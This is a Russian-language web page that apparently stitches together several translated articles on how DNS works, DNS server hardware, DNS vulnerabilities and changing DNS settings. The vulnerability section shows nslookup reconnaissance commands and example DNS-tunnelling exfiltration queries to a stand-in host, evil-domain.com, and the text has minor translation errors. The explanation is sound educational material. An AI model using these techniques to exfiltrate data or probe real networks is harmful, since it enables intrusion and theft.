Как работает сервер DNS, выбор оборудования

Корзина пуста 0 $

7 (495) 510 3335 | 8 (800) 505 5110 (бесплатно по РФ)

Главная

 / 

Решения

 / 

Серверные решения

 / 

Сервер DNS

Обзор

Сервер DNS (Domain Name System) работает в паре с DHCP и занимается преобразованием доменных имен в IP-адреса и обратно в сетях, которые работают на основе протокола TCP/IP.

Как работает сервер DNS

Система DNS занимается тем, что сопоставляет доменные имена с IP-адресами и находит точные соответствия. Другими словами, DNS-сервер – это иерархическая структура имен, таблица для правильной трансляции одного идентификатора в другой. Запрос на преобразование символьного имени в IP-адрес называют прямым, IP-адреса в имя – обратным. Также сервер обрабатывает рекурсивные и итеративные запросы.

DNS-сервер необходим там, где есть следующие объекты:

• клиентские компьютеры на ОС Windows, которые получают IP-адреса через службу DHCP;
• компьютеры, которые присоединены к домену;
• компьютеры, имеющие выход в сеть интернет;
• домены, зарегистрированные в интернете.

Выбор оборудования для DNS-сервера

Преобразование IP-адресов в доменные имена и обратно – задача, которая не требует больших ресурсов. Соответственно, для работы DNS-сервера достаточно оборудования в базовой конфигурации. На эту роль подходят серверы HPE Proliant DL20 Gen9, HPE Proliant DL120 Gen9 и им подобные – простые, недорогие, но надежные. Крупной компании с количеством пользователей 100 и более мы рекомендуем настроить несколько DNS-серверов, чтобы обеспечить необходимую отказоустойчивость. Также на выбор оборудования будет влиять способ организации сервера – в виртуальной среде или на отдельно стоящей машине.

Специалисты ITELON проанализируют потребности вашего бизнеса, количество пользователей, а затем предложат оптимальный вариант оборудования и настроят на нем DNS-сервер.

Преимущества

• Обеспечивает пользователям комфортную работу в среде Windows и с интернет-ресурсами.
• Служит базовой платформой для работы почтовых служб, объектов внутри локальной сети.

Получите расчет вашего решения

• Аппаратная платформа

• Програмное обеспечение

• Услуга

  Ввод сервера в эксплуатацию

  Услуга

  Настройка сетевых служб сервера

Вопросы и ответы Техническая поддержка

Что такое DNS-сервер?

Что такое сервер DNS? Сервер DNS (Domain Name System) — это критически важный компонент Интернета, который обеспечивает перевод человекочитаемых доменных имен в IP-адреса. Он действует как телефонная книга в Интернете, помогая устройствам и компьютерам найти нужный сайт или услугу, когда пользователь набирает URL или нажимает на ссылку.

Без DNS-серверов пользователям пришлось бы запоминать сложные цифровые IP-адреса для каждого сайта, который они хотят посетить, что сделало бы Интернет гораздо менее удобным для пользователей. Вместо этого DNS-серверы заботятся о «закулисном» переводе и обеспечивают пользователям легкий доступ в Интернет.

Серверы DNS хранят базу данных доменных имен и соответствующих им IP-адресов. Когда пользователь запрашивает доступ к веб-сайту, DNS-сервер ищет IP-адрес, связанный с доменным именем, и направляет устройство пользователя в нужное место.

Рекомендуем прочитать: Что такое NS-запись DNS?

Типы служб DNS

Наиболее распространенными типами DNS-серверов являются:

Рекурсивный DNS-сервер

Рекурсивный DNS-сервер — это тип DNS-сервера, который получает DNS-запросы от клиентов, а затем разрешает их, перенаправляя на другой DNS-сервер или сервер.

Авторитетный DNS-сервер

Авторитетный сервер имен содержит окончательный ответ для определенного доменного имени. Авторитетный сервер имен может быть настроен на предоставление ответов на запросы, отличные от тех, которые он получает от вышестоящего преобразователя.

Рекомендуем прочитать: Что такое DNS-запись? | 8 основных типов DNS-записей

Назначение сервера DNS

Сервер DNS (система доменных имен) играет важную роль в функционировании Интернета. Он действует как база данных и каталог, переводя человекочитаемые доменные имена в IP-адреса, чтобы пользователи могли легко получить доступ к веб-сайтам и онлайн-услугам. 

Основная цель DNS-сервера — дать пользователям возможность получить доступ к Интернету, набрав простое и запоминающееся доменное имя, вместо того, чтобы запоминать сложные цифровые IP-адреса.

Помимо обеспечения легкого доступа к веб-сайтам, DNS-серверы также помогают распределить нагрузку входящего трафика, обеспечивают избыточность и надежность, а также защищают от киберугроз. Они поддерживают базу данных доменных имен и соответствующих им IP-адресов и направляют пользователей в нужное место при запросе.

Вкратце, цель DNS-сервера — служить связующим звеном между человекочитаемыми доменными именами и техническими IP-адресами, делая интернет более удобным и эффективным для пользователей по всему миру.

Работа сервера DNS

Ввести URL — это то же самое, что сказать компьютеру найти определенный IP-адрес и установить соединение. 

Для этого используется сервер системы доменных имен (DNS), который состоит из нескольких взаимосвязанных серверов:

• Рекурсивный преобразователь DNS
• Корневые серверы имен
• Серверы имен ДВУ
• Авторитетные серверы имен

Вот общий обзор того, как работает DNS-сервер:

• Разрешение доменного имени: Первым шагом в процессе DNS является преобразование доменного имени в соответствующий ему IP-адрес. Это делает клиент, например, веб-браузер или почтовый клиент, когда ему нужно получить доступ к веб-сайту или отправить электронное сообщение.
• Запрос клиента: Клиент отправляет запрос своему локальному DNS-резольверу, запрашивая IP-адрес домена, к которому он хочет получить доступ.
• Локальный DNS-резольвер: Локальный DNS-резольвер отвечает за проверку своего кэша на предмет наличия в нем информации о запрашиваемом домене. Если да, он возвращает IP-адрес клиенту.
• Рекурсивный запрос: Если локальный DNS-резольвер не имеет информации в своем кэше, он отправляет рекурсивный запрос на корневой DNS-сервер.
• Корневой DNS-сервер: Корневой DNS-сервер отвечает на рекурсивный запрос направлением на DNS-сервер домена верхнего уровня (TLD), отвечающий за TLD запрашиваемого домена.
• TLD DNS Server: Сервер TLD DNS отвечает на запрос, обращаясь к авторитетному серверу DNS, ответственному за конкретный домен.
• Авторитетный DNS-сервер: Авторитетный DNS-сервер отвечает за ведение записей для конкретного домена. Он отвечает на запрос IP-адресом домена.
• Клиентский кэш: В кэше клиента хранится IP-адрес домена, который он просмотрел. В следующий раз, когда клиенту понадобится получить доступ к тому же домену, он может использовать кэшированный IP-адрес вместо того, чтобы снова проходить весь процесс DNS.
• Клиент подключается к веб-сайту: Наконец, клиент использует IP-адрес для подключения к веб-сайту или серверу, к которому он хочет получить доступ, и процесс завершен.

Отказ серверов DNS

Несколько потенциальных причин отказа DNS-сервера включают потерю питания, попытки злонамеренного взлома и отказ оборудования. Когда Интернет был молодым, проблемы с DNS-серверами могли иметь серьезные последствия. 

Теперь DNS имеет много встроенных резервных возможностей, что является огромным облегчением. Большинство интернет-провайдеров (ISP) предлагают своим клиентам дублирующие рекурсивные резолверы, существует множество копий корневых DNS-серверов и серверов имен ДВУ. (Пользователи персональных компьютеров могут также использовать общедоступные DNS-резолверы, такие как 1.1.1.1 от Cloudflare). Популярные веб-сайты обычно имеют множество копий своих авторитетных серверов имен.

Некоторые пользователи могут испытывать задержки в случае крупного сбоя DNS-сервера из-за объема запросов, обрабатываемых резервными серверами. Тем не менее, только массовое отключение DNS сделает недоступным значительную часть Интернета. 

На сайте 2016, когда одна из крупнейших DDoS-атак в истории поразила DNS-провайдера Dyn, это было реальным явлением. Когда вы подписываетесь на управляемую службу DNS от Cloudflare, вы также получаете меры безопасности DNS, призванные защитить ваш сервер от нападений и других типичных угроз.

DNS Lookup vs. DNS Resolver

DNS-поиск это запрос к авторитетному серверу имен для получения IP-адреса домена. С другой стороны, DNS resolver — это программное обеспечение, реализующее протокол Domain Name System и переводящее доменные имена в IP-адреса.

В настоящее время протокол DNS основан на протоколах TCP/IP и UDP/IP. Клиент посылает запрос на сервер имен через UDP или TCP. Сервер отвечает в течение нескольких секунд и может быть использован в любом приложении, которому это необходимо.

DNS-резольвер отвечает за перевод человекочитаемых URL-адресов в цифровые IP-адреса, понятные компьютерам. Эта служба имеет множество применений, включая доставку электронной почты и просмотр веб-страниц.

Основное различие между DNS lookup и DNS resolver заключается в том, что хотя вы можете использовать последний для выяснения существования или отсутствия домена (а также его IP-адреса), вы не можете использовать его для выяснения типа информации, размещенной на этом домене (например, если это FTP-сервер).

Заключительные слова

Что такое DNS-сервер, спросите вы? Это основа Интернета, которая позволяет нам легко получать доступ к веб-сайтам. Проще говоря, сервер DNS (Domain Name System) работает как телефонная книга интернета, переводя доменные имена в IP-адреса. По сути, это важнейшая часть инфраструктуры, которая делает доступ к онлайн-ресурсам таким же простым, как ввод слова.

• О сайте
• Последние сообщения

Ахона Рудра

Менеджер по цифровому маркетингу и написанию контента в PowerDMARC

Ахона работает менеджером по цифровому маркетингу и контент-писателем в PowerDMARC. Она страстный писатель, блогер и специалист по маркетингу в области кибербезопасности и информационных технологий.

Последние сообщения Ахона Рудра (см. все)

Что такое DNS, как он работает + уязвимости

Содержание

Система доменных имен (DNS) — это Интернет-версия Желтых страниц. В старые времена, когда вам нужно было найти адрес компании, вы искали его в «Желтых страницах». DNS работает точно так же, за исключением того, что вам не нужно ничего искать: ваш компьютер, подключенный к Интернету, сделает это за вас. Так ваш компьютер узнает, как найти Google, ESPN.com или Varonis.com.

Для связи двух компьютеров в IP-сети протокол требует наличия IP-адреса. Думайте об IP-адресе как об адресе улицы — чтобы один компьютер «обнаружил» другой, ему нужно знать номер другого компьютера. Поскольку большинство людей лучше запоминают имена — www.varonis.com — чем числа — 104,196.44.111, им нужна была программа для компьютеров, чтобы переводить имена в IP-адреса.

Узнайте о 5 основных угрозах удаленной безопасности для ваших сотрудников с помощью нашего бесплатного технического описания

Программа для преобразования имен в числа и наоборот называется «DNS» или «Система доменных имен», а компьютеры, на которых работает DNS, называются «DNS-серверами». Без DNS нам пришлось бы запоминать IP-адреса любого сервера, к которому мы хотели подключиться — неинтересно.

Как работает DNS

DNS настолько неотъемлемая часть Интернета, что важно понимать, как он работает.

Думайте о DNS как о телефонной книге, но вместо того, чтобы сопоставлять имена людей с их уличными адресами, телефонная книга сопоставляет имена компьютеров с IP-адресами. Каждое сопоставление называется «записью DNS».

В интернете много компьютеров, поэтому нет смысла сводить все записи в одну большую книгу. Вместо этого DNS организована в более мелкие книги или домены. Домены могут быть очень большими, поэтому они дополнительно организованы в более мелкие книги, называемые «зонами». Ни один DNS-сервер не хранит все книги — это было бы непрактично.

Вместо этого существует множество DNS-серверов, на которых хранятся все записи DNS для Интернета. Любой компьютер, который хочет узнать номер или имя, может запросить свой DNS-сервер, а его DNS-сервер знает, как запрашивать — или запрашивать — другие DNS-серверы, когда им нужна запись. Когда DNS-сервер запрашивает другие DNS-серверы, он делает «восходящий» запрос. Запросы для домена могут идти «вверх по течению», пока они не вернутся к авторитету домена или «авторитетному серверу имен».

Полномочный сервер имен — это место, где администраторы управляют именами серверов и IP-адресами своих доменов. Всякий раз, когда администратор DNS хочет добавить, изменить или удалить имя сервера или IP-адрес, он вносит изменения на своем полномочном DNS-сервере (иногда называемом «главным DNS-сервером»). Существуют также «подчиненные» DNS-серверы; эти DNS-серверы содержат копии записей DNS для своих зон и доменов.

Четыре DNS-сервера, которые загружают веб-страницу

• Рекурсор DNS: Рекурсор DNS — это сервер, который отвечает на запрос DNS и запрашивает адрес у другого DNS-сервера или уже имеет сохраненный IP-адрес сайта.
• Корневой сервер имен :Корневой сервер имен — это сервер имен для корневой зоны. Он отвечает на прямые запросы и может вернуть список авторитетных серверов имен для соответствующего домена верхнего уровня.
• Сервер имен TLD:  Доменный сервер верхнего уровня (TLD) — это один из DNS-серверов высокого уровня в Интернете. Когда вы ищете www.varonis.com, сначала ответит сервер TLD для «.com», затем DNS выполнит поиск «varonis».
• Авторитетный сервер имен:  Авторитетный сервер имен является конечной остановкой для DNS-запроса. Полномочный сервер имен имеет DNS-запись для запроса.

Типы службы DNS

В Интернете существует два различных типа служб DNS. Каждая из этих служб обрабатывает DNS-запросы по-разному в зависимости от своей функции.

• Рекурсивный преобразователь DNS: Рекурсивный преобразователь DNS — это DNS-сервер, который отвечает на запрос DNS и ищет полномочный сервер имен или кэшированный результат DNS для запрошенного имени.
• Авторитетный DNS-сервер: Авторитетный DNS-сервер хранит DNS-запрос. Поэтому, если вы запрашиваете у авторитетного DNS-сервера один из его IP-адресов, ему не нужно спрашивать никого другого. Авторитетный сервер имен является окончательным авторитетом в отношении этих имен и IP-адресов.

Общедоступный DNS и частный DNS

DNS был создан, чтобы люди могли подключаться к службам в Интернете. Чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете — это означает, что он не заблокирован брандмауэром. Общедоступные DNS-серверы доступны всем, кто может к ним подключиться, и не требуют аутентификации.

Интересно, что не все записи DNS общедоступны. Сегодня, помимо предоставления сотрудникам возможности использовать DNS для поиска информации в Интернете, организации используют DNS, чтобы их сотрудники могли находить частные внутренние серверы. Когда организация хочет, чтобы имена серверов и IP-адреса оставались закрытыми или недоступными напрямую из Интернета, они не указывают их на общедоступных DNS-серверах. Вместо этого организации перечисляют их на частных или внутренних DNS-серверах — внутренние DNS-серверы хранят имена и IP-адреса для внутренних файловых серверов, почтовых серверов, контроллеров домена, серверов баз данных, серверов приложений и т.

д. — всего важного.

Следует помнить: как и внешние DNS-серверы, внутренние DNS-серверы не требуют аутентификации. Это потому, что DNS был создан давно, когда безопасность не была такой большой проблемой. В большинстве случаев любой, кто находится внутри брандмауэра — путем проникновения или подключения через VPN — может запрашивать внутренние DNS-серверы. Единственное, что мешает кому-то «извне» получить доступ и запросить внутренние DNS-серверы, — это то, что они не могут подключиться к ним напрямую.

• Общедоступный DNS: Чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете.
• Частный DNS : Компьютеры, находящиеся за брандмауэром или во внутренней сети, используют частную запись DNS, чтобы локальные компьютеры могли идентифицировать их по имени. Внешние пользователи в Интернете не будут иметь прямого доступа к этим компьютерам.

7 шагов поиска DNS

Давайте посмотрим, как именно работает DNS-запрос.

1. Запрос DNS запускается при попытке доступа к компьютеру в Интернете . Например, вы вводите www.varonis.com в адресную строку браузера.
2. Первой остановкой запроса DNS является локальный кэш DNS. Когда вы получаете доступ к разным компьютерам, эти IP-адреса сохраняются в локальном хранилище. Если вы ранее посещали www.varonis.com, IP-адрес хранится в вашем кеше.
3. Если у вас нет IP-адреса в локальном кэше DNS, DNS проверит его с помощью рекурсивного DNS-сервера. Ваша ИТ-команда или интернет-провайдер (ISP) обычно предоставляет для этой цели рекурсивный DNS-сервер.
4. Рекурсивный DNS-сервер имеет свой кеш, и если у него есть IP-адрес, он вернет его вам. Если нет, он попросит другой DNS-сервер.
5. Следующая остановка — серверы имен TLD, в данном случае сервер имен TLD для адресов .com. У этих серверов нет нужного нам IP-адреса, но он может отправить DNS-запрос в правильном направлении.
6. У серверов имен TLD есть местонахождение полномочного сервера имен для запрошенного сайта. Полномочный сервер имен отвечает IP-адресом для www.varonis.com, а рекурсивный DNS-сервер сохраняет его в локальном кэше DNS и возвращает адрес на ваш компьютер.
7. Ваша локальная служба DNS получает IP-адрес и подключается к www.varonis.com, чтобы загрузить весь великолепный контент. Затем DNS записывает IP-адрес в локальный кэш со значением времени жизни (TTL). TTL — это количество времени, в течение которого локальная запись DNS действительна, и по истечении этого времени DNS снова выполнит процесс, когда вы запросите Varonis.com в следующий раз.

Какие типы DNS-запросов существуют?

DNS-запросы — это компьютерный код, который сообщает DNS-серверам, что это за запрос и какую информацию он хочет получить. В стандартном поиске DNS есть три основных DNS-запроса.

• Рекурсивный запрос: В рекурсивном запросе компьютер запрашивает IP-адрес или подтверждение того, что DNS-сервер не знает этот IP-адрес.
• Итеративный запрос: Итеративный запрос, который инициатор запроса запрашивает у DNS-сервера наилучший ответ, который у него есть. Если у DNS-сервера нет IP-адреса, он вернет полномочный сервер имен или сервер имен TLD. Запрашивающая сторона продолжит этот итеративный процесс, пока не найдет ответ или не истечет время ожидания.
• Нерекурсивный запрос: Преобразователь DNS будет использовать этот запрос для поиска IP-адреса, которого нет в его кеше. Они ограничены одним запросом, чтобы ограничить использование пропускной способности сети.

Что такое кэш DNS + функции кэширования

Кэш DNS — это хранилище доменных имен и IP-адресов, которые хранятся на компьютере, поэтому ему не нужно каждый раз запрашивать IP-адрес. Представьте себе, что каждый раз, когда какой-либо пользователь пытается зайти на www.varonis.com, DNS должен запрашивать авторитетный сервер имен в Varonis. Трафик будет огромным! Сама мысль о таком большом трафике является причиной того, что у нас есть кэширование DNS. Кэширование DNS преследует две основные цели:

• Ускорить запросы DNS
• Уменьшить пропускную способность DNS-запросов через Интернет

Однако методология кэширования DNS имеет некоторые проблемы:

• Изменения DNS требуют времени для распространения — это означает, что может пройти некоторое время, прежде чем каждый DNS-сервер обновит свой кэш до последних данных IP
• Кэш DNS — потенциальный вектор атаки для хакеров

В Интернете используется несколько различных типов кэширования DNS:

• Кэширование DNS в браузере: Текущие браузеры примерно 2018 года имеют встроенную функцию кэширования DNS. Разрешение DNS с помощью локального кеша выполняется быстро и эффективно.
• Операционная система (ОС) Кэширование DNS: Ваш компьютер является клиентом DNS, и на вашем компьютере есть служба, которая управляет разрешением и запросами DNS. Этот кеш DNS также является локальным и, следовательно, быстрым и не требует полосы пропускания.
• Кэширование DNS с рекурсивным разрешением: Каждый рекурсор DNS имеет кэш DNS и хранит любой IP-адрес, который он знает для использования для следующего запроса

Слабые места и уязвимости DNS

Существует три основных уязвимости в DNS, которые злоумышленники часто используют для злоупотребления DNS:

1. Внутренние DNS-серверы содержат все имена серверов и IP-адреса для своих доменов и будут делиться ими со всеми, кто попросит. Это делает DNS отличным источником информации для злоумышленников, когда они пытаются провести внутреннюю разведку.
2. Кэши DNS не являются авторитетными, и ими можно манипулировать. Если ваш DNS-сервер «отравлен» плохими записями, компьютеры могут быть обмануты, заставив их перейти в плохие места.
3. DNS ретранслирует информацию о запросах с внутренних рабочих станций на внешние серверы, и злоумышленники научились использовать это поведение для создания «скрытых каналов» для кражи данных.

Использовать DNS для разведки

Когда злоумышленник находится внутри брандмауэра и получает контроль над компьютером, он может использовать DNS для поиска важных имен серверов. Злоумышленники могут искать имена, связанные с внутренними IP-адресами — почтовые серверы, серверы имен — всевозможные ценные вещи. Если они достаточно сообразительны, они могут даже заставить внутренний DNS-сервер отправлять большое количество информации о зонах своего домена — это называется «атакой передачи зоны DNS».

Если у вас компьютер с Windows, выполните следующие команды как есть; если вы пользователь Linux, вы можете найти соответствующие команды.

1. Откройте командную строку (наберите Ctrl + esc, буквы «cmd», затем введите).
2. Тип ipconfig
3. Вы увидите DNS-домен, в котором находитесь (DNS-суффикс для конкретного подключения), ваш IP-адрес и множество других данных. Вы захотите вернуться к этому.
4. Введите nslookup [ip-адрес]  Вы увидите имя отвечающего DNS-сервера и, если имя известно, запись DNS, содержащую имя и IP-адрес.
5. nslookup —type=soa [ваш домен] Эта команда возвращает ваш авторитетный DNS-сервер, разве это не удобно, если вы пытаетесь проникнуть в сеть.
6. nslookup –type=MX [ваш домен] Эта команда возвращает все почтовые серверы в вашем локальном домене на случай, если вы захотите взломать почтовые серверы и не знаете, где они находятся.

Использование DNS для перенаправления трафика

Помните, что когда пользователь пытается перейти на веб-сайт, его компьютер запрашивает у своего DNS-сервера IP-адрес сайта или запись DNS. Если DNS-сервер имеет кэшированную копию записи, он отвечает. Если нет, он запрашивает «вышестоящий» DNS-сервер, передает результаты обратно конечному пользователю и кэширует их для следующего раза.

Злоумышленники нашли способ подделать ответы DNS или сделать так, чтобы ответы выглядели так, как будто они исходят от законных DNS-серверов. Не вдаваясь в технические подробности, злоумышленники используют для этого три слабости DNS:

1. DNS выполняет очень слабую проверку ответов, поступающих от вышестоящих серверов. Ответы просто должны содержать правильный идентификатор транзакции, который представляет собой просто 16-битное число (0-65536). Точно так же, как оказывается, что вам не нужно так много людей в комнате, чтобы шансы на то, что двое из них имеют одинаковый день рождения, оказывается, что угадать правильный идентификатор легче, чем вы думаете.
2. DNS-серверы принимают одновременные (или почти одновременные) ответы на свои запросы , что позволяет злоумышленникам делать несколько предположений об идентификаторе транзакции (что мало похоже на атаку методом перебора пароля).
3. IP-соединения, используемые DNS, легко подделать. Это означает, что злоумышленник может отправить трафик на DNS-сервер с одного компьютера и представить его так, будто он идет с другого компьютера, как с действительного DNS-сервера. Только определенные типы IP-соединений легко подделать — DNS является одним из них.

Если злоумышленник успешно подделывает ответ DNS, он может сделать кеш принимающего DNS-сервера зараженной записью. Как это поможет злоумышленникам?

Вот пример. Допустим, злоумышленник узнает, что ваша организация использует внешнее приложение для чего-то важного, например, для расходов. Если они отравят DNS-сервер вашей организации, чтобы он отправлял каждого пользователя на сервер злоумышленника, все, что им нужно сделать, — это создать легитимно выглядящую страницу входа, и пользователи будут вводить свои учетные данные. Они могут даже ретранслировать трафик на реальный сервер (выступая в роли «человека посередине»), чтобы никто не заметил. Затем злоумышленник может попробовать эти учетные данные в других системах, продать их или просто отпраздновать злобным смехом.

Использовать DNS в качестве скрытого канала

Допустим, злоумышленнику удалось проникнуть внутрь сети (corp.com), скомпрометировать один или два хоста и найти важные данные, которые он хочет эксфильтровать. Как они могут сделать это без срабатывания сигнализации? Злоумышленники используют для этого технику под названием «DNS-туннелирование». Они настраивают DNS-домен (например, evil-domain.com) в Интернете и создают авторитетный сервер имен. Затем на скомпрометированном хосте злоумышленник может использовать программу, которая разбивает данные на небольшие фрагменты и вставляет их в серию запросов, например:0003

• nslookup My1secret1.evil-domain.com
• nslookup is1that1I1know.evil-domain.com
• nsllookup как2steal1data.evil-domain.com

DNS-сервер corp.com получит эти запросы, поймет, что результатов нет в его кеше, и ретранслирует эти запросы обратно на авторитетный сервер имен evil-domain.com. Злоумышленник ожидает этот трафик, поэтому он запускает программу на авторитетном сервере имен, чтобы извлечь первую часть запроса (все, что предшествует evil-domain.com) и собрать его заново. Если организация не проверяет запросы, которые делают ее DNS-серверы, она может никогда не понять, что их DNS-серверы использовались для эксфильтрации данных.

DNS существует уже давно, и каждый компьютер, подключенный к Интернету, полагается на него. Теперь злоумышленники используют DNS как для внешней, так и для внутренней разведки, перехвата трафика и создания скрытых каналов связи. К счастью, благодаря мониторингу DNS-серверов и применению аналитики безопасности многие из этих атак можно обнаружить и предотвратить.

Хотите узнать, как? Присоединяйтесь к нашим семинарам по кибератакам в реальном времени, пока наши инженеры по безопасности проводят атаку в реальном времени, извлекают данные через туннелирование DNS и наблюдайте все это в режиме реального времени!

Что вам следует сделать сейчас

Ниже приведены три способа, которыми мы можем помочь вам начать путь к снижению риска данных в вашей компании:

1. Запланируйте демонстрационный сеанс с нами, где мы можем показать вам, ответить на ваши вопросы и помочь вы увидите, подходит ли вам Варонис.
2. Загрузите наш бесплатный отчет и узнайте о рисках, связанных с раскрытием данных SaaS.
3. Поделитесь этой записью в блоге с теми, кого вы знаете, кому будет интересно ее прочитать. Поделитесь им с ними по электронной почте, LinkedIn, Twitter, Reddit или Facebook.

Майкл Бакби

Майкл работал системным администратором и разработчиком программного обеспечения в стартапах Силиконовой долины, ВМС США и во всем, что между ними.

Бесплатная оценка риска данных

Присоединяйтесь к более чем 7000 организаций, которые променяли тьму данных на автоматизированную защиту. Начните работу за считанные минуты.

Получите оценку риска Посмотреть образец

Как изменить свой DNS-сервер в Windows 10 и Mac: HelloTech How

Искать Содержание

Изменение настроек DNS по умолчанию на вашем компьютере может улучшить вашу конфиденциальность, безопасность и скорость работы в Интернете. Если вы являетесь родителем, смена DNS-сервера также может заблокировать для ваших детей доступ к неприемлемому контенту. Кроме того, смена DNS позволит вам получить доступ к контенту, заблокированному в вашей стране. Вот как изменить DNS-сервер на компьютере с Windows 10 или Mac и какие DNS-адреса следует использовать.

Что такое DNS?

DNS ( Система доменных имен ) похож на телефонную книгу Интернета. Если вы хотите посетить веб-сайт, вы обычно вводите доменное имя, например google.com. DNS преобразует это в IP-адрес, который может понять ваш веб-браузер.

IP-адрес представляет собой строку символов, разделенных точками и запятыми. Например, один IP-адрес для Google.com — http://173.194.203.106/. Однако в наши дни DNS-адрес — это только одна часть уравнения. Таким образом, вы больше не всегда сможете получить доступ к веб-сайту, используя его IP-адрес.

Ваш интернет-провайдер (например, Comcast, Verizon и Spectrum) назначит вам DNS по умолчанию. Однако вы всегда можете изменить настройки DNS на Mac или ПК с Windows 10.

 Как изменить DNS-сервер на компьютере с Windows 10

Чтобы изменить DNS-сервер на компьютере с Windows 10, перейдите в раздел Настройки > Сеть и Интернет > Изменить настройки адаптера. Затем щелкните правой кнопкой мыши соединение и выберите Свойства > IPv4 > Свойства. Наконец, выберите Использовать следующий адрес DNS-сервера.

1. Откройте меню «Пуск» Windows. Вы можете сделать это, нажав кнопку с логотипом Windows в нижнем левом углу экрана.
2. Затем нажмите Настройки . Это значок в виде шестеренки над кнопкой питания.
3. Далее выберите Сеть и Интернет .
4. Затем щелкните Изменить параметры адаптера . Вы увидите это в разделе Расширенные настройки сети .

   Примечание. Если вы не видите этот параметр, нажмите «Статус» на левой боковой панели. Если вы не видите Статус на левой боковой панели, разверните окно «Настройки» или сделайте его полноэкранным.

5. Щелкните правой кнопкой мыши соединение, DNS-сервер которого вы хотите изменить на . Если вы подключены через WiFi, выберите его. Если вы подключены через Ethernet, выберите его. Вы будете знать, какие соединения вы используете в данный момент, потому что они будут отмечены зелеными полосами, а неиспользуемые соединения будут отмечены красным крестиком.
6. Затем выберите Свойства . Это будет последняя опция во всплывающем меню.
7. Затем выберите Интернет-протокол версии 4 (TCP/IPv4). Если вы не видите эту опцию, используйте мышь для прокрутки вверх и вниз по выбору.
8. Затем щелкните Свойства .
9. Затем щелкните радиус рядом с Используйте следующие адреса DNS-серверов . Вы увидите это в нижней половине окна.
10. Затем введите новый DNS-адрес . Вы также захотите добавить дополнительный адрес DNS-сервера в следующей строке.

    Примечание. Если вы не знаете, что добавить, см. ниже раздел о том, какие адреса DNS-серверов следует использовать.

11. Наконец, нажмите OK . Вы увидите это внизу окна. Ваши изменения не вступят в силу, пока вы не нажмете OK .

Как изменить DNS-сервер на Mac

Чтобы изменить DNS-сервер на Mac, перейдите к Системные настройки > Сеть . Затем выберите подключение и нажмите Advanced . Далее выберите вкладку DNS и нажмите плюсик. Наконец, введите DNS-адрес и нажмите OK > Применить .

1. Щелкните значок Apple в верхнем левом углу экрана Mac .
2. Затем выберите Системные настройки .
3. Далее выберите Сеть .
4. Затем выберите подключение, которое вы хотите изменить DNS-сервер на . Вы увидите все свои различные сетевые подключения на левой боковой панели. Вы будете знать, какие соединения вы используете в настоящее время, потому что они будут отмечены зеленым кругом, а соединения, которые вы не используете, будут отмечены красным кружком.
5. Затем нажмите Advanced . Вы увидите это в правом нижнем углу окна.
6. Далее нажмите на DNS вкладка . Вы увидите это в верхней части окна.
7. Затем щелкните значок плюса (+). Вы увидите это внизу панели DNS-серверов .

   Примечание. Если вы видите какие-либо выделенные серым цветом записи, уже введенные в поле DNS-серверы, они назначены другому устройству, например вашему маршрутизатору. Вы не можете удалить выделенные серым цветом записи, но при добавлении новых записей выделенные серым цветом будут заменены.

8. Затем введите новые адреса DNS. Вам потребуется ввести первичный и вторичный DNS-адреса. Когда URL-адрес необходимо разрешить, ваш Mac запросит первую запись в вашем списке DNS-серверов. Если ответ не получен, он переходит к следующей записи. Это будет продолжаться до тех пор, пока не будет получен ответ или пока не будут опрошены все серверы.

   Примечание. Вы также можете изменить порядок своих DNS-адресов, перетащив их или нажав кнопку «минус» в нижней части поля «DNS-серверы», чтобы удалить все записи.

9. Далее нажмите OK . Окно Advanced закроется, и вы вернетесь в окно «Сеть».
10. Наконец, нажмите Применить . Ваши изменения не вступят в силу, пока вы не нажмете Применить в окне Сеть.

Теперь, когда вы знаете, как изменить свой DNS-адрес на компьютере с Windows 10 и Mac, вот лучшие сторонние DNS-адреса, которые вы можете использовать.

Какой сторонний DNS-сервер следует использовать?

Если вы хотите использовать сторонний DNS-сервер, лучшими вариантами являются Google Public DNS, Cloudflare и OpenDNS. У каждого из этих провайдеров есть первичный и вторичный DNS-адреса, которые вы можете использовать.

• Google Public DNS : 8.8.8.8 и 8.8.4.4
• Cloudflare : 1.1.1.1 и 1.0.0.1
• OpenDNS 90 017 : 208.67.222.123 и 208.67.220.123

Публичный DNS Google — это один из самых популярных адресов, потому что его так легко запомнить. Однако важно отметить, что Google ведет журнал IP-адресов, которые используют его серверы, в течение одного-двух дней, чтобы помочь в диагностике и устранении неполадок. Также могут быть какие-то длительные журналы, но Google утверждает, что не хранит никакой личной информации. Итак, если вы заботитесь о конфиденциальности, вы можете использовать другой DNS-адрес.

Cloudflare также является популярным выбором из-за скорости и конфиденциальности, которые он предлагает. Cloudflare обещает, что не будет использовать ваши данные или регистрировать ваш IP-адрес. Существует также 24-часовая система удаления, в которой данные удаляются ежедневно. Cloudflare также имеет активный форум сообщества, на который вы можете положиться в любое время, когда у вас возникнут вопросы о его услугах.